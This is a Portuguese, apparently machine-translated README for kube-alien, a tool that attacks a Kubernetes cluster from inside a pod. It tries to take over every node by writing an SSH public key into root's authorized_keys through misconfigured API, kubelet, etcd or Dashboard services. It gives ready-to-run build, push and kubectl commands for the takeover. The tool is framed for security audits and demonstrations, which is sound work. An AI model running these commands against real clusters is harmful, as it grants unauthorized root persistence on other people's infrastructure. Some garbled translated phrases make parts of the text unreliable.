
Essa ferramenta inicia o ataque ao cluster k8s de dentro. Isso significa que você já precisa ter um acesso com permissão para implantar pods em um cluster para executá-lo. Depois de executar o pod kube-alienígena que tenta takeover nós do cluster adicionando sua chave pública para arquivo /root/.ssh/authorized_keys do nó usando esta imagem https://github.com/nixwizard/dockercloud-authorizedkeys (pode ser ajustado usando ADD_AUTHKEYS_IMAGE param em config.py) bifurcado em docker / dockercloud-allowedkeys. O ataque é bem-sucedido se houver uma configuração incorreta em um dos componentes do cluster e seguir os seguintes vetores:
- API do Kubernetes
- Serviço Kubelet
- Serviço etcd
- Kubernetes-Dashboard
Qual é o objetivo desta ferramenta?
- Ao fazer uma auditoria de segurança de um cluster k8s, é possível avaliar rapidamente sua postura de segurança.
- Demonstração partical da exploração de vetores de ataque mencionados.
Como o cluster do k8s pode ser atacado por dentro na vida real?
- Rentabilidade RCE ou SSRF em um aplicativo que está sendo executado em um dos pods do seu cluster.
Uso A
imagem alienígena do Kube deve ser enviada para o dockerhub (ou outro registro) antes de usar com esta ferramenta.
git clone https://github.com/nixwizard/kube-alien.git
cd kube-alien
docker build -t ka ./
docker tag ka YOUR_DOCKERHUB_ACCOUNT/kube-alien:ka
docker push YOUR_DOCKERHUB_ACCOUNT/kube-alien:ka
O env AUTHORIZED_KEYS deve ser definido como o valor da sua chave pública ssh; em caso de sucesso, a chave pública será adicionada ao arquivo raiz_autorizada_de_usuário autorizado de todos os nós.
kubectl run --image=YOUR_DOCKERHUB_ACCOUNT/kube-alien:ka kube-alien --env="AUTHORIZED_KEYS=$(cat ~/.ssh/id_rsa.pub)" --restart Never
ou você pode usar minha imagem para fins de teste rápido :
kubectl run --image=nixwizard/kube-alien kube-alien:ka --env="AUTHORIZED_KEYS=$(cat ~/.ssh/id_rsa.pub)" --restart Never
Verifique os logs do pod Kube-alien para ver se o ataque foi bem-sucedido:
kubectl logs $(kubectl get pods| grep alien|cut -f1 -d' ')
Os seguintes recursos me ajudaram bastante na criação dessa ferramenta
- https://www.youtube.com/watch?v=vTgQLzeBfRU
- https://www.youtube.com/watch?v=dxKpCO2dAy8 (e outras postagens impressionantes sobre a superfície de ataque do kubernetes em https://raesene.github.io )
- https://medium.com/handy-tech/analysis-of-a-kubernetes-hack-backdooring-through-kubelet-823be5c3d67c